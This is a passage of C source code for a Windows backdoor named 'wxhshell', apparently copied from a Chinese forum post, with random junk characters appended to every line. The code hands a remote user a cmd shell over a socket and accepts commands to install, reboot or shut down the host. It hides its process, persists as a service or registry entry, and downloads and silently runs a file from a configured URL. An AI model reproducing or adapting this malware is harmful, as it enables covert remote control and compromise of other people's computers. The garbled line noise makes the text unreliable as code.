  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ] |u}P2  
  } 1Dt"Rcn"4  
  else { |\QR9>  
O b8[P=  
    switch(cmd[0]) { 3;>(W  
  m*i~Vjxj-m  
  // 帮助 R%#c~NOO  
  case '?': { ?b#?Vz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7IK<9i4O  
    break; dZ%b|CUb  
  } q{U -kuui  
  // 安装 te6[^_k  
  case 'i': { ,<EmuEw |  
    if(Install()) H5&>Eny  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "3\RJ?eW:S  
    else 30DpIkf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /;OJ=x3i  
    break; N"r ;d+LTL  
    } _'I9rGlx3  
  // 卸载 '')G6-c/  
  case 'r': { 7y[B[$P  
    if(Uninstall()) _Fz )2h,3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ku&(+e  
    else e3S6+H),I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ++ dV5  
    break; 5@0c@Q  
    } uFok'3!g7%  
  // 显示 wxhshell 所在路径 @J r  
  case 'p': { <U~P-c tN  
    char svExeFile[MAX_PATH]; Q@$1!9m  
    strcpy(svExeFile,"\n\r"); hJ}G5pX  
      strcat(svExeFile,ExeFile); !?l 23(d  
        send(wsh,svExeFile,strlen(svExeFile),0); ;euWpE;E\#  
    break; a@8knJ|  
    } ..~{cU4Tt  
  // 重启 z?  {#/  
  case 'b': { _eO]awsA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^k_!+8"q{  
    if(Boot(REBOOT)) k&~vVx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s &.Z;X  
    else { Rp@u.C <  
    closesocket(wsh); ux =a9  
    ExitThread(0); yBl<E$=  
    } 8vT:icl  
    break; 2sU"p5 j  
    } BKD Wd]KEf  
  // 关机 4U6{E#  
  case 'd': { RtIc:ym  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9723f1&Vd  
    if(Boot(SHUTDOWN)) {>+$u"*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5vpf;  
    else { ITsJjcYw  
    closesocket(wsh); JQtH },T r  
    ExitThread(0); <!+o8z]  
    } ,88Y1|:X  
    break; -"cN9RF  
    } WEsH@ [  
  // 获取shell |hdh4P$+|  
  case 's': { :w];N|48s  
    CmdShell(wsh); kqyMrZ#  
    closesocket(wsh); t =*K?'ly  
    ExitThread(0); c^bA]l^a  
    break; }!d}febk_  
  } xO.7cSqgw  
  // 退出 $(NfHIX  
  case 'x': { ~Fx[YPO,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <pE G8_{}  
    CloseIt(wsh); o?b%L  
    break; ;T_9;RU<'b  
    } AH7k|6ku<*  
  // 离开 0)/214^&  
  case 'q': { )8<X6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c8'8DM  
    closesocket(wsh); I#Bz UF  
    WSACleanup(); g@U#Y#b@"  
    exit(1); o}%fs *  
    break; r zvX~B6  
        } 2Z97Tq  
  } ,S5#Kka~a  
  } 2tbqmWw/s  
:J~j*_hZ  
  // 提示信息 bo*q{@Ue  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m!2Dk#t  
} 7&QVw(:)M  
  } uqyf3bK  
ry T8*}o  
  return; n (|>7  
} q-RGplx  
|4c==7.  
// shell模块句柄 e56#Qb@$\  
int CmdShell(SOCKET sock) ((5zwD  
{ XgbGC*dQ  
STARTUPINFO si; 7*5ctc!dG  
ZeroMemory(&si,sizeof(si)); I,S'zHR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dL\8^L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ax%BnkU  
PROCESS_INFORMATION ProcessInfo; NV gLq@F  
char cmdline[]="cmd"; ~mp$P+M(%p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3(&.[o Z  
  return 0; K]u|V0c  
} Lg?'1dg  
~h@tezF  
// 自身启动模式 U<t-LF3  
int StartFromService(void) 5_`}$"<~  
{ em]K7B=  
typedef struct K$ &wO.  
{ gP<_DEd^`  
  DWORD ExitStatus; ,YY#ed&l  
  DWORD PebBaseAddress; '-vy Q^  
  DWORD AffinityMask; n~ql]Ln  
  DWORD BasePriority; [v`4OQF/  
  ULONG UniqueProcessId; gfYB|VyWo  
  ULONG InheritedFromUniqueProcessId; 9,W-KM  
}   PROCESS_BASIC_INFORMATION; % n{W  
${+.1"/[  
PROCNTQSIP NtQueryInformationProcess; zfZDtKq  
m=9 N^_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H6I #Xj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "uCQm '  
lkm(3y@']A  
  HANDLE             hProcess; A!D:Kc3  
  PROCESS_BASIC_INFORMATION pbi; .}E)7"Qi,  
lP e$AI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X\x9CA  
  if(NULL == hInst ) return 0; /kz&9FM  
d.AjH9 jg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9yh@_~rZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zFn&~lFB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `@M4THt  
5\S7Va;W  
  if (!NtQueryInformationProcess) return 0; 2X*<Fma3C  
@r?`:&m0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kut|A  
  if(!hProcess) return 0; G|lI=Q3f  
!_) ^bRd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4I*Mc%dD  
Q.1ohj0)  
  CloseHandle(hProcess); s]c$]&IGG  
&[RU.Q!_H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sJoi fl 7  
if(hProcess==NULL) return 0; !d\GD8|4  
#+ '@/5{n  
HMODULE hMod; m3!M L>nLt  
char procName[255]; ~N9-an  
unsigned long cbNeeded; {9".o,  
F 29AjW86  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1%"` =$q%  
^rwSbM$  
  CloseHandle(hProcess); lc-|Q#$3$  
Xt =bc  
if(strstr(procName,"services")) return 1; // 以服务启动 |esjhf}H>v  
fO^6q1a  
  return 0; // 注册表启动 u`@f ~QP0  
} 8~E)gV+v  
;#9| l=  
// 主模块 MPbPq3an  
int StartWxhshell(LPSTR lpCmdLine) l*Ei7 |Z  
{ <&:&qn gg  
  SOCKET wsl; 8>q% 1]X  
BOOL val=TRUE; P@YL.'KU)  
  int port=0; GiXde}bm  
  struct sockaddr_in door; fZ}Y(TG/  
%>2t=)T  
  if(wscfg.ws_autoins) Install(); 4P!DrOB  
%wW5)Y I  
port=atoi(lpCmdLine); AnY)T8w  
SAh054/St  
if(port<=0) port=wscfg.ws_port; TEyx((SK  
}G+A_HF ^  
  WSADATA data; 3|Sy'J0'K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Uob|Q=MQ  
ATM:As:<@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HY;?z `=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %uVJL z  
  door.sin_family = AF_INET; Lc<xgN+cJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /dt!J `:  
  door.sin_port = htons(port); U!:!]DX(  
oxQID  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %:KV2GP  
closesocket(wsl); WgJAr73 l  
return 1; q_y,j&  
} ;&6PL]/d  
;-pvc<_c<  
  if(listen(wsl,2) == INVALID_SOCKET) { wp.e3l  
closesocket(wsl); 9}cuAVI  
return 1; /}`/i(k  
} w"agn}CK  
  Wxhshell(wsl); ^:DhHqvK  
  WSACleanup(); Pmlgh&Z  
QX.6~*m1  
return 0; v\(m"|4(i  
C'/M/|=Q#  
} _SC  
?vn 0%e868  
// 以NT服务方式启动 1{x~iZa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZT"|o\G^Q  
{ 7. 9s.*  
DWORD   status = 0; 6'Yn|A  
  DWORD   specificError = 0xfffffff; b+].Uc  
eH%L?"J~:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H! r Kz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }<ONxg6Kb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l$VxE'&LQ  
  serviceStatus.dwWin32ExitCode     = 0; w2N3+Tkg  
  serviceStatus.dwServiceSpecificExitCode = 0; ClMtl59  
  serviceStatus.dwCheckPoint       = 0; *C@[5#CA2z  
  serviceStatus.dwWaitHint       = 0; iW1ih Q X  
8;g.3Qv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e=o{Zo?H=  
  if (hServiceStatusHandle==0) return; .(7C)P{ .0  
x56 F  
status = GetLastError(); e9@fQ  
  if (status!=NO_ERROR) j%Z{.>mJ  
{ x*&&?nV Iz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #VdI{IbW  
    serviceStatus.dwCheckPoint       = 0; M=[q+A  
    serviceStatus.dwWaitHint       = 0; j(6$7+2qN  
    serviceStatus.dwWin32ExitCode     = status; _SIs19"lR  
    serviceStatus.dwServiceSpecificExitCode = specificError; +GYMJK`S+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G:c8`*5Q  
    return; $wYuH9(  
  } >}DjHLTW\  
~"q,<t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 37 O#aJ,K  
  serviceStatus.dwCheckPoint       = 0; Uty(sDtu  
  serviceStatus.dwWaitHint       = 0; q"+ q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `+hy#1]  
} Md>f  
`}9 1S  
// 处理NT服务事件,比如:启动、停止 ra%R:xX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w <#*O:  
{ Z0"&  
switch(fdwControl) Naf`hE9  
{ !*?(Q6  
case SERVICE_CONTROL_STOP: O:,2OMB}B`  
  serviceStatus.dwWin32ExitCode = 0; P10p<@?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E]H   
  serviceStatus.dwCheckPoint   = 0; tC?A so  
  serviceStatus.dwWaitHint     = 0; 1(?CNW[  
  { }^pQbFku  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n-y^ 7'v  
  } #'4<> G]  
  return; pcuMGo-#  
case SERVICE_CONTROL_PAUSE: yF/< :  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -.b Io  
  break; HTUYvU*-  
case SERVICE_CONTROL_CONTINUE: p&OJa$N$[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V+=*2?1  
  break; 53`9^|:  
case SERVICE_CONTROL_INTERROGATE: TDl!qp @  
  break; !#c[~erNZ  
}; lbKv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tw`c6^%^y  
} vfJ3idvo*w  
oDW<e'Jm  
// 标准应用程序主函数 I(^jOgYU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d4p{5F7]^  
{ EtR@sJ<  
})zB".  
// 获取操作系统版本 K=m9H=IX~T  
OsIsNt=GetOsVer(); q!hy;K`Jd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MdVCD^B  
84p[N8  
  // 从命令行安装 $kkp*3{ot  
  if(strpbrk(lpCmdLine,"iI")) Install(); |D;"D  
vLnq%@x  
  // 下载执行文件 6+Wr6'kuH  
if(wscfg.ws_downexe) { V#gF*]q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6bbZ<E5At  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,5eH2W  
} ;&+[W(7Sy  
Sv~YFS :oy  
if(!OsIsNt) { V@#*``M,3  
// 如果时win9x,隐藏进程并且设置为注册表启动 *R_'$+  
HideProc(); >9o,S3  
StartWxhshell(lpCmdLine); +}c|O+6g  
} CJMaltPp&  
else t+=12{9;f  
  if(StartFromService()) $[M} K  
  // 以服务方式启动 r/CEYEJ&X  
  StartServiceCtrlDispatcher(DispatchTable); U`bC>sCp  
else _W@,@hOH  
  // 普通方式启动 )Lc<;=w'9  
  StartWxhshell(lpCmdLine); 85r)>aCMn  
f MY;  
return 0; M^j<J0(O  
}
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只看该作者 1 发表于: 2006-10-10
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